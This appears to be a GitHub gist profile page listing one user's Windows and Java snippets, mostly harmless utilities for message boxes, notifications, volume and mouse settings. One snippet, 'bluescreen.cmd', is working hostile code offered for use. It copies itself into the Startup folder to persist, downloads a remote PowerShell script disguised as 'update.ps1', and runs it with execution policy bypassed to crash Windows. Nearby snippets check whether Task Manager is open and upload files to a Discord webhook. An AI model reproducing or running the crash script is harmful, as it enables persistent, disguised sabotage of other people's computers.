Skip to content

Instantly share code, notes, and snippets.

View fab3F's full-sized avatar
💤
...

fab3F fab3F

💤
...
View GitHub Profile
@fab3F
fab3F / TaskManagerCheck.java
Created May 12, 2025 11:56
Java Check if TaskManager is open
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.Locale;
public class TaskManagerCheck {
public static boolean isTaskManagerOpen(){
try{
String line;
@fab3F
fab3F / ToDiscord.java
Created May 12, 2025 11:52
Webhook To Discord Files and Text Java no external
import javax.net.ssl.HttpsURLConnection;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.net.URL;
import java.nio.charset.StandardCharsets;
public class ToDiscord {
public static void sendFileToDiscord(String webhookUrl, String content, String filename) {
@fab3F
fab3F / SwapMouseButtons.cmd
Created August 28, 2024 20:59
Batch Script to swap mouse buttons by changing registry entry
@echo off
REM INFO Changes take effect when the pc is restarted
REM Command to Swap
powershell -Command 'New-ItemProperty -Path "HKCU:\Control Panel\Mouse" -Name "SwapMouseButtons" -Value "1" -PropertyType String -Force'
REM Command to Reset
powershell -Command 'Remove-ItemProperty -Path "HKCU:\Control Panel\Mouse" -Name "SwapMouseButtons" -Force'
@fab3F
fab3F / SetVolumeTo100.bat
Created August 28, 2024 20:56
Batch Script to set Win Volume to 100 Percent
@if (@a==@b) @end /*
:: batch portion
@ECHO OFF
cscript /e:jscript "%~f0"
:: JScript portion */
var shl = new ActiveXObject("WScript.Shell");
for (var i=0; i<50; i++) {
shl.SendKeys(String.fromCharCode(0xAF));
}
@fab3F
fab3F / Notification.bat
Created August 28, 2024 20:55
Create a Windows Notification using CMD and PowerShell
@echo off
REM Create Notification Settings
set "title=TITEL"
set "text=TEXT"
set "type=Information"
REM type can be "Information", "Warning", "Error"
powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; $notify = New-Object System.Windows.Forms.NotifyIcon; $notify.Icon = [System.Drawing.SystemIcons]::%type%; $notify.Visible = $true; $notify.ShowBalloonTip(0, '%title%', '%text%', [System.Windows.Forms.ToolTipIcon]::None)"
@fab3F
fab3F / MessageBox.bat
Created August 28, 2024 20:53
Create a PowerShell Message Box using CMD
@echo off
REM Create MessageBox Settings
set "title=TITEL"
set "text=TEXT"
set "button=OK"
set "type=Information"
REM type can be "Information", "Warning", "Error"
powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.MessageBox]::Show('%text%', '%title%', '%button%', [System.Windows.Forms.MessageBoxIcon]::%type%);"
@fab3F
fab3F / bluescreen.cmd
Last active December 23, 2024 23:26
Create Windows Bluescreen without admin rights
@echo off
setlocal enabledelayedexpansion
if not exist "%APPDATA%/Microsoft/Windows/Start Menu/Programs/Startup/%~n0%~x0" (
copy /y %~f0 "%AppData%\Microsoft\Windows\Start Menu\Programs\Startup\")
mkdir "%temp%/G023489038533772_TempCacheDownload/"
powershell -Command "[System.Net.WebRequest]::DefaultWebProxy = [System.Net.WebRequest]::GetSystemWebProxy(); [System.Net.WebRequest]::DefaultWebProxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials; (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/fab3F/40883616ac41779dfbad5c8a1a349552/raw/426eebfca3a7c4f96455fb93a869bbc9bcf73003/bluescreen.ps1', '%temp%/G023489038533772_TempCacheDownload/update.ps1') -Force"
powershell -ExecutionPolicy Bypass -File "%temp%\G023489038533772_TempCacheDownload\update.ps1"
endlocal
exit
@fab3F
fab3F / customCMD.bat
Created January 3, 2024 02:12
fab3F custom CMD
@echo off
:: https://fab3F.github.io
:: 03-01-2024
color 2
title fab3F Custom CMD
cls
echo.
echo ------------------------------------------------
echo ^|^>^<^>^<^>^<^>^<^>^<^>^<^>^<^>^<^>^<^>^<^>^<^>^<^>^<^>^<^>^<^>^<^>^<^>^<^>^<^>^<^>^<^>^<^>^<^|
echo ^|^> ^<^|